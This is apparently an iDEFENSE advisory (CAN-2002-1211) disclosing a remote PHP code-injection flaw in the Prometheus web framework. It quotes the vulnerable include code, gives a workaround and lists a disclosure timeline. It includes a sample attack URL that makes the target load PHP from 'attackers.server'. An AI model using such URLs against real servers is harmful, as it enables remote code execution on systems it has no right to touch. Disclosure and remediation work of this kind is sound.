Prometheus Application Framework Code Injection

I. BACKGROUND

Jason Orcutt's Prometheus is a web application framework written in PHP. It is available at http://prometheus.zerodivide.net.

II. DESCRIPTION

A remote attacker can inject into Prometheus arbitrary PHP code that executes under the privileges of the underlying web server. The crux of the problem lies in the following snippet of code extracted from the top of prometheus-library/all.lib:

if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) ||
$PROMETHEUS_LIBRARY_BASE == '') {
    $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
}

if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
    $PHP_AUTO_LOAD_LIB = 0;
}

if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
    $PROMETHEUS_LIB_PATH = 0;
}

if ( $PHP_AUTO_LOAD_LIB == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
}

if ( $PROMETHEUS_LIB_PATH == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-
lib.path' );
}

An attacker could force the application to load a tainted version of autoload.lib and prometheus-lib.path that contains arbitrary PHP code from a remote server by setting PHP_AUTO_LOAD_LIB to "0" and PROMETHEUS_LIBRARY_BASE to the address of the remote server. The following scripts can be targeted in this attack because all.lib is included without any filtering:

• index.php
• install.php
• test_*.php

The following is a sample attack URL that would cause "target.server" to load autoload.lib and prometheus-lib.path from "attackers.server".

http://target.server/prometheus-
all/index.php?PROMETHEUS_LIBRARY_BASE=http://attackers.ser
ver/&PHP_AUTO_LOAD_LIB=0

III. ANALYSIS

Remote exploitation allows an attacker to execute arbitrary commands and code under the privileges of the web server. This also opens the door to privilege escalation attacks.

IV. DETECTION

iDEFENSE has verified that Prometheus 6.0 is vulnerable. Versions 3.0-beta and 4.0-beta are also reportedly vulnerable. Other earlier versions may be vulnerable as well. To determine if a specific implementation is vulnerable, experiment with the above-described attack.

V. WORKAROUND

• First, locate the files that make dangerous calls to include(). The following sample command line accomplishes this:

$ grep -n all.lib * -r | grep _BASE
index.php:23:include( $PROMETHEUS_APP_BASE . '/prometheus-
library/all.lib' );
scripts/view_theme.php3:6:include(
$PROMETHEUS_LIBRARY_BASE . '/all.lib' );

• Next add the following line above the calls to include():

$PROMETHEUS_LIBRARY_BASE = './prometheus-library';

This should prevent attackers from arbitrarily setting the PROMETHEUS_LIBRARY_BASE variable to point to a remote location.

VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2002-1211 to this issue.

VII. DISCLOSURE TIMELINE

09/28/2002	Issue disclosed to iDEFENSE
10/14/2002	Author notified via e-mail to zerodiv@zerodivide.net
10/14/2002	iDEFENSE clients notified
10/14/2002	Response received from zerodiv@zerodivide.net
10/31/2002	Coordinated public disclosure

VIII. CREDIT

Karol Wiesek (appelast@bsquad.sm.pl) is credited with discovering this vulnerability.